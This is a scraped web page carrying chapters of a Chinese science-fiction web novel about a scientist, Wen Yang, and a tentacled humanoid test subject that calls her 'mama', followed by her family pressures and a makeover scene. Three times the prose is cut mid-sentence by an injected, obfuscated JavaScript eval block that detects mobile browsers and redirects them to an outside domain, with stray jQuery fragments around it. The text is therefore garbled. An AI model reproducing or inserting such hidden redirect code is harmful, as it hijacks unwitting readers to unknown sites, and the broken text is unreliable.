在玻璃外看,很难不注意到他身下数条怪异的触手,以至于让人忽略他的美貌。
他的上半身和正常人类并无区别,嘴唇淡粉,眼睫又长又翘,几缕银发顺着水流挡在额前,单是这样看,只觉得是个容貌绮丽的青年。
只是—
闻央的手落在他腰下的触手上,触手的柔软滑腻感透过白色的硅胶手套传到她的指腹,按下去,有点像Q弹Q弹的软糖。
她松开手,抓住实验体的手臂。
他的体温几乎和水温一样,摸上去微冷。
水让行动变得迟缓,闻央笨拙地从口袋中拿出注射器,小心翼翼地扎进实验体的皮肤。
蓝色的血在针筒里缓缓增加,透过护目镜,可以看到那双漂亮的浅灰色眼睛正在专注地盯着注射器,待血液至刻度线时,她停下手中的动作,低头收起仪器。
于是,她没有看到身前男人的睫毛在微微颤抖。
是轻微的刺痛感。
他觉得自己的皮肤像是被什么叮了一下,但比起刺痛更引人注意的是扑鼻的香味。
好香。
好饿。
饿得他浑身发麻。
他在黑暗里游着,寻找着香味的源头,水流温柔地包裹在周身,直到他触及某个界限。
它变得强势,水流残暴地挤压腹腔、手臂、脖子......
他几乎无法呼吸。
“回去。”
他明白水的意图,它在警告自己。
但是......那道香味,他喉头微动,迅猛地直直撞去。
水波晃动,变故就在一瞬间,闻央刚收好注射器,下一秒被突如其来的水流撞进了实验体怀里。
是水波冲击装置出现故障了吗?
她错愕地抬起头,头盔和呼吸罩被冲走,灰发在水中四散开来。
万幸护目镜的绑带还牢牢地扣在耳朵上,闻央一手搂住实验体的胳膊,另一只手撑在他的胸膛上。
她向右看去,试图寻找事故的源头,再回头时发现实验体醒了。
他睁着眼,眼睛是纯净的蓝色,让人一眼想到遥远的海。
她可以透过这双宛若璀璨透亮宝石的眼瞳看到带着护目镜,穿着黑色辅助潜水服的自己。
她的头发在液体里飘扬,灰发朦胧得像是水中雾。
铁链猛地绷紧,粉色触手似是发现自己被禁锢住,开始疯狂挣扎,惹得水波摇晃,幸好安全装置十分可靠,铁链牢牢地扣着触手,让它们无法越界半分。
实验体的身体也跟着动了动,发现动不了后放弃了挣扎。
他面容苍白,银发顺着水流漂浮,一双湿漉漉的蓝眸紧紧地盯着闻央,瞧着有些可怜。
淡粉的嘴张开,仿佛在说什么,但水吞灭了一切动静,唯有大大小小的气泡从他的口中冒出,一股股地上升。
待闻央稳定身形后,她松开手,一只手按紧脸上的护目镜,撑在他的胸口上的手轻轻一推,整个人朝上方飘去。
实验体目不转睛地盯着她,神色焦灼,纵使在水里发不出半点声音,仍在固执地张嘴。
他的嘴型似是在说“momo”,又像是“mama”。
闻央分辨不出,她两条腿缓慢游动,透过护目镜冷静地望着离自己越来越远的男人。
“呼。”
闻央从水面探出,扯掉面上的呼吸罩和护目镜,两只手搭在扶手上,大口地喘气。
头发湿漉漉地贴在背上,她透过晃动的水朝下看去,实验体不再张嘴,但目光不曾离开她。
她一个起身,完全从水中离开。
......
十二点应是午休的时候,而实验体7092前人头攒动。
穿着白大褂的科研人员正激烈地讨论着,他们指着培养皿里的实验体,或亢奋得伸长脖子,亦激动得面色潮红。
实验体已经不需要泡在营养液里维持身体机能了,培养皿里的营养液抽空了大半,只留下浅浅一层,粉色触手泡里面保持湿润,潮湿的银发贴在耳边,他茫然地盯着面前这堆争论不休的科学家。
培养皿的隔音效果很好,他什么都听不见。
他饿得胃疼。
铁链绑住了触手,它们不满地嘟嚷着,各色声音充斥在脑内,嘈杂得他眉头微皱。
“一群坏人,我被坏人们绑住啦!”
“香香的妈妈去哪了?”
“为什么那么饿?怎么不吃东西呀,肚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880983|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子在咕咕叫啦。”
它们的语言不属于这个世界上任何一种,发音诡谲宛若咒语,但实验体听得懂。
只是他的大脑一片空白,不知道自己是谁,也不知自己身在何处。
“闭嘴。”
八道声音刹那间停住,脑内恢复清净,不过片刻,它们又叽叽喳喳地讲起话来。
“他好拽,他谁啊?”
“你傻呀,他是主体。”
“如果我不听他的话会怎么样?”
“不会怎么样,他还能把你砍了吗?他自己的两只手都被捆住呢。”
“他怎么还不吃饭?我好饿.......”
漂亮的青年眨了眨眼,银白色的眼睫在眼下投下一小块阴影,他还不习惯说话,艰难地用嗓子发出声音,迟缓地道:“你们......是谁?我是谁?”
它们原本的七嘴八舌的,听到他的问话,倒是欢快而整齐地同声说:“我们是你呀!”
“我们是你的触手呀。”
“我们也刚醒,醒来时就被关在这里了。”
“我讨厌被绑着,太紧了,好疼好疼。”
“谁不是!谁会喜欢被绑着呢.......”其中一个触手的童音拖长尾调,声音百转千回。
脑子里的声音闹嚷嚷的,问不出任何信息,青年敛眼。
培养皿外的科研人员正在倒放刚才的音频。
“它刚才是在叫吗?”其中一个科研人员迟疑地问。
按钮被按下,培养皿内实验体的声音循环播放起来。
四周鸦雀无声,大家安静地凝听着音频。
“我感觉符合语言规律,”捧着平板的女科学家抬头,惊讶得瞳孔微微扩大,“正常的章鱼没有声带,不会发声,不过某些章鱼在特定条件下虹管会发出‘咕噜’或‘哧哧’的声音,但没有意义。”
她放下平板,耸了耸肩,“我觉得有必要研究这段音频。”
“我倒是觉得没有必要,它有认知能力和自我意识,过段时间教它国际通用的诺亚语,等能沟通了再说,”上了年纪的科学家摆摆手,“现在最重要的是对它进行一系列测试,先从基础生理功能测试开始,后面再进行迷宫测试、社交认知测试......”
女科学家不服气地高声强调道:“章教授,你没研修过语言学,我觉得这段音频里实验体的发音具有某种逻辑,这也是具有代表性并且很珍贵的研究样本......”
“闻教授来了。”
极轻的声音从人群中传出,科学家们停下争锋相对。
女人白大褂没扣好,松松垮垮地披在身上,露出里面的黑色马甲,她浅灰色的眸子浸出点泪意来,看着像是刚从午休中醒来。
“怎么了?”她一边扣着扣子,一边说,“不要聚集在7092前面吵闹……”
话还没说完,培养皿内原本平静的触手暴动起来,连带着实验体也开始挣扎,铁链一下下地甩动着。
“mama。”
培养皿内的声音被清晰地收入收音设备里,又从外面的喇叭里播出。
视线汇聚在实验体的身上,容貌艳丽的青年紧紧地盯着闻央,眼中是掩不住的雀跃,他浅粉色的唇开开合合,“mama。”
“闻教授,他在看您,”女科学家讶异地道,“他似乎在叫您‘妈妈’?”
“大部分语言对母亲的称呼都是‘M’音开头,因为这是婴儿可以轻易发出的声音。”她小声地解释道。
闻央扣好最后一个衣服扣子,望过去,与面上欢喜的青年对视,语气冷静,“或许是雏鸟情节吧。”
5. 触手怪物(5)
腥咸的海水环绕在鼻腔,水温微暖,闻央环抱着膝盖浮在水中,水波轻抚散乱在水中的头发,灰色长发仿佛一朵水生花静谧地随波澜微扬。
闻央睁开眼,发现自己在海里。
她松开抱着膝盖的手,猛地抬头。
星星点点的光落在水中,随着水波滉漾成一片光晕。
眼前是湛蓝的水、金色的光以及几缕划过面颊在水中如丝绸般摇曳的灰色长发。
她居然可以在水中呼吸。
闻央一个仰身朝上游去,追寻着水中那宛若绚丽烟花般散开的璀璨金光。
她穿着丝绸睡裙,洁白的裙摆在水中缓慢地展开又收紧,像是一个正在游动的水母。
一群小鱼游过来,好奇地围绕着她,用鼻子轻轻地触碰她白皙纤细的手指,鱼嘴吐出一串串水泡,落在她的发梢,它们身姿优雅,偏长的鱼尾柔软地划开水波,又宛若云般舒展开。
某一时刻,闻央的动作近乎与它们同步。
光晕染在她身上的白裙上,几乎把它染成一条金裙,她的面颊也被光照亮,落在挺秀的鼻尖上、小巧的下巴上以及那双独特的浅灰色眼眸里,映出满目金辉。
她双腿在水中摆动,离水面越来越近,光也愈盛愈加刺目,闻央闭上了眼。
就在即将游出水面的那一瞬,一根粉色的触手从深不见底的海里探出,轻柔而坚定地缠绕住她的脚踝,缓慢地把她向海深处拉动。
闻央睁开眼,讶异地转头望向那根粉嫩的触手。
它像是藤蔓,但比起植物更具肉感,触手宛若在呼吸般微微蠕动,两排的吸盘黏在她修长的小腿上,发现闻央在看它,触手尖端翘起,兴奋地摇晃了两下,像是在打招呼。
触手把她拉入黝黑冰冷的海底。
深海的水温接近零度,闻央原本淡红的唇色被冻得发白,她冷得失温,连带着脑内血液逆流,耳膜都在鼓鼓作响。
一只苍白的手抓住了她。
这双手精致得如同艺术品,冰凉的指尖落在她的面颊,触手从脚踝处松开,圈住她的腰,黏糊糊的粉色触手轻轻扣住她的肩膀,把她翻了个身。
她太冷了,冷到失去触觉,某一刹那,甚至觉得自己被封在冰块里。
闻央勉强睁开眼,看到——
银白头发的漂亮青年孺慕地看着她,猫儿似的圆眼满是依赖。
“妈妈。”
在陷入昏迷前,她听到他轻轻地喊。
......
“早上好,现在是诺亚时间上午八点整,屋内实时温度23度,湿度50%......”温柔的机械男音响起。
这是闻央设置的人工智能每日叫醒服务,但在声音响起前,她就已经醒了。
她睁着浅灰色的眼眸,蜷缩在被子里。
几根长发黏在被薄汗浸湿的颈侧,她看上去似是做了个噩梦,愣愣地看向天花板。
冰冷黏腻的触感仿佛还在腰间,温暖舒适的被窝取代了森寒的海水,闻央拉了拉被子,把头埋进被窝,少见地赖床了。
躺了十几分钟后,她坐了起来,一脚踩进毛茸茸的拖鞋里。
人工智能贴心地问;“检测到您已清醒,请问需要拉开窗帘吗?”
“嗯。”
电动窗帘缓慢地朝两边滑动,柔和的阳光从高大的落地窗洒落在地板上。
窗外是肉眼看不清的悬浮列车,它们快速地穿梭在城市高楼间,留下一道道白色的飞痕。
闻央居住的是一间宽敞的公寓,处于城市高层,一眼望去可以俯瞰A区大部分建筑。
她走到客厅,在光滑纯白的墙壁上摩挲了一会,按下一个按钮,顷刻间,墙壁朝两边打开,露出一个昏暗的平台,平台旁边延伸着两排楼梯,底下是一个泳池。
泳池里面没有水,甚至因为许久没有开启,覆盖着一层薄薄的灰尘。
“请问需要按照您以往习惯的订购一杯冰美式吗?”人工智能的声音响起,紧接着,“检测到屋内PM2.5浓度超标,即将加强空气净化。”
闻央没有回答,因为她已经带上了口罩。
她踏入平台,按下关门按钮后,垂眼看着洒落在客厅地板上的暖光,无形的人工智没有发现异样,仍在尽职地播报:“屋内PM2.5数值正在迅速下降......”
“啪。”是门合上的声音。
门后不是人工智能的检测范围内,自然也没有适宜的温度。
闻央摸了摸起了一层鸡皮疙瘩的胳膊,打开墙面上的开关,耀眼的白炽灯亮起,照亮了整个空间。
无数尘埃随着她的步伐扬起,悬浮在冰冷的白色光线下,她拿起墙角的清洁工具,通上电后打扫起来。
......
下午,闻央上完了本学期的最后一堂课。
底下坐满垂头丧气将要迎来期末月的学生,即使已经下课,教室里也静悄悄的。
闻央在整理讲台,这些天忙于期末的事,很久没有去看实验体了,虽然7092的观察数据以及测试报告每天都会发送到她的终端上,但想到今天早上的梦,闻央决定过去一趟。
进入实验室后,她看到了等候在旁的伊芙。
伊芙是诺亚联邦大学的学生,原本实验室不准备招未毕业的学生做助手,但耳门科技和诺亚联邦大学签订了协议,每年都有招聘指标,负责人想来想去,给闻央的实验室加塞了一个。
虽然伊芙成绩优异,但想要进入耳门科技的学生并不少,竞争者激烈,她的履历在其中并不突出,却十足幸运。
当人事筛选完一叠符合条件的候选人简历,拿来给闻央过目时,她随意抽取了一张,简历上的少女笑容灿烂,看上去颇为亲切,扫了一眼专业、经历等都符合,闻央便直接决定了。
运气也是实力的一部分。
闻央看了看工作一向认真、极少犯错的伊芙,想到半月前父亲说的话,问道:“你的毕业论文选好题目了吗?”
“闻教授,我还没有确定题目,但我目前有一些想法,现拟题是《基因编辑技术对海洋动物适应性进化的应用:未来生态修复与保护研究》,您看可以吗?”
少女仰起头,面带稚气,宛若突然被老师点名般忐忑,小声地诉说自己的想法。
“方向不错,”闻央思索了一会,点点头,“但范围太广了,可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880984|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以聚焦一下,选择一个特定的海洋动物研究。”
“谢谢教授。”她如同小鸡啄米般点头。
“毕业后有什么想法吗?”闻央穿上白大褂,一边清洁双手一边闲聊。
“我很喜欢这里,如果能留下来......”伊芙眼睛亮晶晶,似是觉得不妥,不好意思地垂下眼睫,轻声,“最好了。”
伊芙是真的喜欢这里。
当时在学校官网看到耳门科技招收助手的消息时,她没有报以希望,只是象征性地发了一份简历过去,毕竟诺亚联邦大学作为新星排名第一的大学,佼佼者无数,伊芙成绩是不错,但也不敢和那些天才比。
没想到几个星期后,她就收到了耳门科技发来的offer,就像中了彩票一样,不对,比中彩票还幸运。
在进来前,伊芙有些担心,她听在大公司的师姐说,大型企业节奏快,不是996就是007,实习生进去后就是一块砖,哪里需要哪里搬,最后一看薪水堪堪只能付得起房租。
师姐两眼无神,一边说一边往嘴里吞保健品,说完后还要给她推荐保健品,被伊芙连连拒绝后,师姐的眼神怜悯,一副“相信我,你会用到的”的样子。
伊芙记得还在学校时,师姐分明很热爱自己的专业,毕业也找到了份对口的工作,那时候的她谈起学术头头是道,眼里充满着光,而现在她眼里的光消失了,一提工作,便皱眉摆手,夸张地做呕吐状。
“伊芙,等你工作了就会明白的,上学和工作是不一样的。”
师姐的话一直在耳边徘徊,经此一遭,伊芙紧张极了,她不仅要担心自己的能力是否能够胜任,还要担心领导会不会很push,然后每天活在高压下,磨灭对专业的初心。
但她真的很幸运,幸运极了。
实验室的负责人闻央教授不是这样的人,虽然实验室规矩很多,但都是为了保证实验工作能够顺利开展。
只要你能把工作做完,闻教授压根不会管你。
实验室里的前辈们虽然心气高傲,经常一言不合就争执不休,但就事论事,仅针对学术本身。
他们在学术上也绝不藏私,只要伊芙去请教,虽然前辈们会露出“你居然连这个都不懂”的神色,但指导得很耐心,就像学校的老师一样。
压根不像师姐说的实习生都会被前辈“穿小鞋”、“背黑锅””等。
在这里实习了几个月,她学到了很多东西,也是真的喜欢这里的氛围。
伊芙期待地看着面前的女人,她浅灰的眼眸如同未化开的浓墨,又像是让人一眼就沉溺其中的迷雾,这双灵动的眼眸眨了眨,露出歉意。
闻央的唇形很好看,此时这张淡红的唇张开,“伊芙,你也知道前阵子实验经费被砍半了,虽然实验成功了,但总部和我们的想法不同,未来......实验室可能会关闭。”
少女亮晶晶的眼睛一下子黯淡了。
伊芙微扬的嘴角渐渐向下压,沮丧地盯着地面。
“但你愿意的话,等毕业后,如果对耳门科技有什么心属的岗位,可以给我发邮件,我愿意做你的推荐人。”
“伊芙,你很优秀。”
6. 触手怪物(6)
容貌艳丽的青年恹恹地坐在培养皿里,背对着众人,似乎是不愿意见人,银白短发压在透明玻璃上,身下的粉色触手有一搭没一搭地拍打浅浅的水面,飞溅出点滴的水花来。
“咔嚓。”像是什么东西打开的声音。
青年朝上看去,只见培养皿顶端裂开一条缝,一个黑屏显示器从中探出,下降至他的眼前。
他不耐地撇开脸,显示器自动锁定,追踪瞳孔,坚定地转移到他的面前。
最后他认命地抬起眼皮,显示器晃了晃,稳定在空中,鲜艳的画面取代黑屏,上面开始播放动画片。
“闻教授,这是诺亚的早教动画,适合学龄前儿童观看,实验体7092的学习速度很快,马上就可以进行低年级课程了。截止目前,它已经会说一部分的诺亚词语,可以听懂简单的句子,但对于复杂含义的词语或是同音词的运用,还不能准确理解其含义。”
“不过,”微胖的科学家无奈地笑了笑,挠了挠脖子,叹气道,“实验体7092不愿意与人交流,还有厌学倾向。”
他摸了摸鼻尖,有点心虚,在发现实验体7092智商极高后,是他提议加强它的学习强度,纵使有反对的声音,但自己一意孤行,最后拍板提高它每日的学习时间,也不知是不是因为这个导致厌学。
公司已经不给这项实验发经费了,据传言实验室过段时间可能会解散,原本他也想慢慢来的,但时间紧迫,现实情况不允许。
况且实验体IQ量表的分数那么高,怎么会厌学?
料想他小时候,一本书可以看一天,碰到难题可以忘记吃饭地研究,知识恨不得全塞脑子里,实验体的神经认知智力评估比他高上不少,怎么会厌学呢?
微胖科学家百思不得其解,委实是没想到这种情况。
闻央淡淡地瞥了一眼他,看向培养皿里明显烦躁的青年,他背靠玻璃,粉色的触手拍打水面的动作愈快愈用力。
显示屏里会说话的粉色小猪们踩着泥坑,一边发出猪哼声一边欢快地跳。
“噗吭、噗吭。”
猪哼声从收音设备转播在实验室里,在宽敞的空间里回响。
一群科学家认真地看着培养皿内上早教课的实验体。
“把动画片换成正儿八经的语言教学课程,这个课程对他过于幼稚了。”
闻央下了定论。
刚才发言的科学家恍然大悟地点点头。
青年似是感受到培养皿外的动静,他转过头,看见闻央后,原本稍显不耐的圆眼一下子变得神采飞扬,里面满是雀跃。
播报早教动画的显示器检测到用户的视线转移,红色的提示灯亮起,发出“滴滴”的提醒声,试图重新锁定用户,飞到他的跟前。
青年烦不胜烦,闻央一来,什么都不在乎了,身后的粉色的触手伸起,猛地朝五颜六色的屏幕拍去,下一秒,显示屏四分五裂,“砰”地一声凄惨地碎裂在水里。
他目不转视地盯着闻央的面庞,属于人类的上半身贴在玻璃上,浅粉色的唇微张,吐出还不熟练的诺亚语,“妈......妈。”
“妈妈。”第二声就流畅多了。
八根触手也兴奋地扭动起来,其中一个粉色触手忸怩地竖起,细微的水流从虹管快速喷出,落在玻璃上。
其他触手反应过来,它们争先恐后地抽取身下的水,喷到玻璃上,水流有大有小,如同比拼般,把培养皿内的水几乎抽干。
似乎是起了争执,又宛若在玩乐,不甘示弱地触手们打了起来,扭动在一起,绞杀着彼此。
闻央平静地看着他。
见她表情冷淡,青年的手指从玻璃上渐渐滑落,眼中的亢奋渐渐转为委屈,他那双睁圆的眸子怯怯地望来,“妈妈。”
他又一次地叫道,这一次声音轻了些许,因为太过轻,声音在通过收音设备转播到外界时带上点微弱的电音,让人听得不真切。
仍是没有回应,他委屈的眼染上了点点愤怒的火光,向下滑的手抬起,用力地拍打玻璃,八根触手也停止了玩闹,从背后立起,同他一起敲打着培养皿的玻璃。
“妈妈!”他执着地大喊,与此同时,新型钢化玻璃被敲得“砰砰”响。
在如此强烈地冲击下,不仅实验专用玻璃在抖动,而且底下的地板都连带震颤,即使大家知道不可能被拍碎,但面对失控的怪物,都咽着口水不着痕迹地后退一步。
“注入麻醉气体。”闻央淡漠地道。
白色的烟雾迅速充满整个培养皿,青年的头发上滴着水珠,银白色的短发半湿地贴在前额,水珠从发尾滚落,落在他半垂的睫毛上,又掉了下来,宛若在落泪般,那双似猫儿的眼抬起,里面氤氲着水雾,凝视着闻央。
他漂亮的眼瞳里只有闻央。
麻醉气体生效了,先是八条触手从空中软趴趴地落到地上,再是他。
他不甘心地合上眼,失去力气前还死死地盯着闻央。
“它第一次表现出这么强的攻击性。”见实验体成功昏迷,微胖科学家松一口气,他刚刚被吓得面色煞白,现在心脏还跳得砰砰响。
前几天他还给清醒的实验体抽了血,它当时被铁链绑住,没有反抗,乖乖地一动不动,若是像今日这样发狂,看似牢固的铁链说不定都会断裂,现在再让他去给它抽血,他是绝对不敢了。
“我记得你们发来的研究结果是性格温顺?”闻央稍抬眉梢,嗓音清甜但透着淡淡的冷意,“未完全确定前不要轻易给出结论。”
兜里的终端震颤,闻央拿出来扫了一眼,是闻岚溪的通讯。
“处理一下。”
她指了一下培养皿内的青年,握住抖动的终端,朝会议室走去。
会议室里没有人,关上门后,闻央接通了终端。
闻岚溪的全息影像出现在空中,她穿着一条看上去就很昂贵的白色丝绸长裙,卷曲的头发落在颈后,背后是富丽堂皇的大厅,晶莹剔透的水晶灯垂挂在天花板上,远处是身着礼服的宾客,他们举着酒杯四处应酬。
她站在某个角落。
“闻央,”见通讯被接通,闻岚溪露出笑容来,看到她身后的背景,寒暄着,“还在实验室吧?辛苦了。”
闻央点了点头,叫了一声“姐姐”,随后她目露疑惑,“姐姐是在应酬吗?请问现在联系是有什么事吗?”
闻岚溪有些无奈地点点头,耳垂上耀眼的流苏也跟着晃动。
“你还记得父亲前阵子和你说的范丁友吗?他前阵子出差了,刚结束隔离,今晚想要和你见见。”
“如果你有时间的话,就尽量去吧,父亲让我帮你联系造型师,我已经约好了,造型
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880985|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
店离你实验室不远,大概七八分钟车程,到时候你把悬浮车停在门口就好,设置自动导航让它开回家。等做好造型告诉我一下,我会派人把你送过去。”
闻岚溪流露出抱歉的神色,“我知道现在和你说有点唐突,我这边也是刚刚收到父亲发的消息,你知道的,他一向如此......”
她的眼里明晃晃地写着“我也没办法”。
闻央低垂灰眸,遮挡住了眼中的嘲讽神色。
一切都安排好了,甚至不让她自己开车去,专门派人监视着送她过去,还能不去吗?
“好的,姐姐,”闻央抬起头,眼中看不出丝毫不满,安静地道,“我待会就去。”
解决一桩事,闻岚溪肩膀微微放松,温柔地看向妹妹,“谢谢。”
关闭通讯后,闻岚溪把卷发别到耳后,整理了下衣裙。
她在心中轻叹一口气,范家的邀约太突然了,十分不礼貌,没有半点尊重,若闻央是她亲妹妹,她一定会劝说父亲,不让闻央去。
不,或许都不用劝说,父亲一定会震怒,这是不把闻家放在眼里。
但......到底只是养女。
闻岚溪拿着口红,对面前瓷砖的反光处补起妆来,她神情淡淡,涂抹好后,满意地欣赏了勾勒饱满的唇形,露出恰到好处的笑容,转身朝人群走去。
十分钟后,闻央已经脱掉白大褂,开车朝闻岚溪发来的地址开去。
导航的终点是一家看上去就雅致华丽的造型店。
闻央隐隐看到已经有人在门口守着,想必就是闻岚溪约好的造型师。
她停下,给悬浮车设置好自动导航后,下车,待看清楚眼前的人后,步伐停顿了一瞬。
同身后店面低调奢侈的装修不同,造型师顶着霓虹色的斑斓短发,他一走过来,浑身就在叮当地响,因为—
他的鼻翼、嘴角、面颊等多处穿孔,上面挂着五彩缤纷的钉或金属环,环下垂着一撞就响的小铃铛,他抬起手,激动地挥了挥,手上的一排铃铛手镯随之噼里啪啦地响。
“嗨,你就是岚溪的妹妹闻央吧,叫我托尼就好。”
托尼兴奋地吹了个口哨,仔细打量着闻央的五官,惊喜地道:“你和岚溪长得完全不像,但真好看哎!”
他用力地拍了拍自己的破牛仔洞裤,又痛苦地揉了揉鸡窝般的头发,“脑子要爆炸了,好多灵感,到底用哪个呢?”
闻央站在原地一动不动,沉默地看着对方。
“诶呦,你别看我的样子,这叫个性,懂否?”托尼扬起下巴,神采飞扬,一把扯住闻央的袖子直往店里走,另只手拍了拍胸脯,打包票,“你要相信我的审美,经过我这双手出来的造型,就没人说不好看的。要知道,我轻易不给人做造型的,一来和岚溪是好朋友......”
他“嘿嘿”地回头笑,露出洁白的牙齿,闻央注意到上面贴着五颜六色的牙钻。
托尼伸出手,大拇指和食指快速摩擦了两下,“其实也不算啦,主要是你姐姐给的太多了,二是你姐说有个特别好看的妹妹,听得我心痒痒手痒痒的,今日一见,果然特别好看!”
“快,再不做造型,灵感就要飞走了。”
他语调飞扬,拉着闻央,动作雷厉风行,一身金属环噼里啪啦地响的更厉害了,走进了造型室。
7. 触手怪物(7)
造型室灯光明亮,闻央坐在皮质软椅上,正对着一面边缘贴着一排亮灯泡的镜子。
托尼在身后的工作台翻找着,飞快地在堆满化妆品的桌面上挑选,一个个地丢到旁边的塑料筐里。
他身形削瘦,垫脚对高处进行翻找的时候,露出一截细腰,低腰牛仔裤上系着金属宽皮带,上面同样是互相碰撞发出清脆声音的小铃铛。
闻央拿出终端,声音不轻不重,“诺亚,今晚有约,回家时间有变,夜间模式推迟两小时。”
温和的机械男音从终端传出来,“好的,闻央。”
与此同时,在无人的公寓,自动窗帘拉到一半突然止住,天花板上刚刚自动开启的暖光也“啪”一下全部熄灭,诺亚的机械音在空荡荡的屋内回响,“夜间模式已关闭,因屋主要求,两小时后再开启。”
从落地玻璃窗外望去,远处是层层叠叠如蜂巢般的高楼大厦,外面的幽光落在屋内的弧形沙发上,沙发上坐着一个面朝窗户的仿生小熊猫,它正处于关闭状态,昏暗的光照在那张毛茸茸的脸上,只见两颗如葡萄般的眼珠里似是有什么东西闪了闪。
托尼瞥向闻央,“诺亚?蕴意是诺亚方舟的那个人工智能?”
他弯腰搬起堆满化妆品的塑料筐,两条细胳膊费劲地搬着,摇摇晃晃地走过来,“我从来没用过人工智能。”
“我这样的人,是不是很少见?”
“砰。”他放下摇摇欲坠框口即将裂开的塑料筐。
闻央沉默了一会,“确实不多。”
在科技发达的今日,人工智能已经入侵社会的边边角角,经托尼这样一说,闻央确实注意到这家店铺虽然装修奢华,但不仅没有人工智能操控后台,也没有服务型机器人。
偌大的店铺只有托尼一个人,桌面摆放着乱糟糟的化妆品,他腾不出手收拾。
托尼得意地笑着,摇头晃脑,牙齿上贴着的彩钻和眼皮上涂着的烟熏眼影细闪在光下璀璨夺目,“我可是反人工智能联盟的成员。”
“你一定没听过或者极少听过反人工智能联盟,”他耸了耸肩,在水池清洁双手,“别说A区了,整个前区压根就没几个反人工智能的,纵使有,也不成气候。我来自后区——P区,你可能不太清楚。”
托尼口中的前区是A到E区,后区则是P到Z区,其中Y区和Z区已经沦陷了,剩下的都称为中区。
“后区的反人工智能联盟可真是轰轰烈烈,虽然来前区十几年了,但我还忘不掉当时街上满是人和异种,大家都在游行罢工示威,也不知道现在怎么样了。”他唏嘘道,说到“异种”的时候还看了一眼闻央,因为他知道A区这些人都厌恶异种。
见她没反应,托尼继续道。
“我承认人工智能的产生提高了效率,但让被取代的那些人类做什么工作呢?”
托尼擦干净双手,一边说一边用湿面巾擦拭闻央的脸,烟熏色的眼皮抬起,目露认真,“而且我觉得人工智能永远代替不了人类,人类审美无上限,搞艺术搞创作的可不是那些没有感受和感情的机子可以取代的。”
“就比如我!”他一扫眼中的认真,随手抓起旁边的糖罐,往嘴里一丢,“吧唧”地嚼着。
托尼把化妆品铺开在桌面上,刷子也放成了一排。
他宛如在表演艺术一样,动作流畅丝滑,对着闻央的脸捣鼓了起来,一边化妆一边嘟囔着自己的发家史,“你猜我怎么来A区的?后区居民想来A区简直难如登天——想当年我还是P区一个小小的化妆师,嗯还是有点名气的。”他说得谦虚,语气却一点也不谦虚。
“就以前E区那个薇薇,那时候可火了,当红明星薇薇安,她去中区参加活动,化妆师出了点事,急得团团转,于是我顶上了。诶就那次的绿色系蝴蝶妆出圈了,那一系列照片让她被评为‘森林女神’。”
“于是我就做了她的御用化妆师,走人才引进到了E区。她可费了大功夫,我也被折腾了几个月,又是隔离又是检查的,幸好当年没因为缺钱狠下心去做异种,还是纯人类,也没被精神污染,在E区待了好几年,后来哥名气实在太响,一步步爬到了A区。”
托尼说得眉飞色舞,手下的动作却稳当当的,“所以相信哥!”
.......
托尼的手艺确实名副其实,后来他不大说话了,专注地捯饬着闻央的脸,沉浸地创作。
半个小时后,他屏住呼吸,卷发棒轻轻地烫了下闻央面颊旁的一缕头发,卷好后,轻俏地吹了声口哨。
“简直完美!”托尼美滋滋地看着她的脸。
闻央也看向面前的镜子,镜子中的女人一头灰色长发优雅地盘起脑后,露出修长优美的脖颈,两缕微曲的发垂在两侧,她的眼皮涂着蓝色的眼影,眼角处拉出一条飞扬的白色眼线。
她穿着带着闪钻的渐变蓝鱼尾裙,恰到好处地勾勒出身形,脖子上带着一条蓝宝石的细链,唇上抹着裸色调的唇釉,看上去亮晶晶的。
冷色调的妆容和她独特的浅灰色眼眸相得益彰,既不过分压住她身上的清冷感,也不会明媚到喧宾夺主。
托尼爱不释手地欣赏着,望着她空荡荡的耳垂,神情遗憾地道:“就差一个点睛之笔,现在我手头没有耳钻,那些夸张的耳环都不适合,适合的都被借走了还没还回来。”
他恨恨地拍着桌子,连声叹气。
“我包里有一副,要不就用它吧。”
闻央起身,从包里翻出首饰盒来,打开后,一副小巧精致的耳钻静静地躺在黑色绒布上。
带上耳钻,整个妆造算是完成。
这里没有观众,但托尼满意地接连鼓掌。
接闻央的车已经停在门口了,她踏出店门,回头看了眼在整理桌面的托尼,他哼着曲调,一副没心没肺的样子。
闻央回过头,垂眼,坐上悬浮车。
.......
夜晚的A区比白天更热闹,但闻央向来三点一线,极少出去。
一进入商业区,里面呈现出和外面完全不同的景象,各种光线流动交汇,姹紫嫣红的光射在空中,宛若黑纸上打翻的一盘颜料。
悬浮车在一家装饰高档的餐厅前停了下来,司机开口:“闻小姐,到了。”
闻岚溪的消息也发送到她终端上,上面写着:“A18桌。”后面跟着一个笑脸表情。
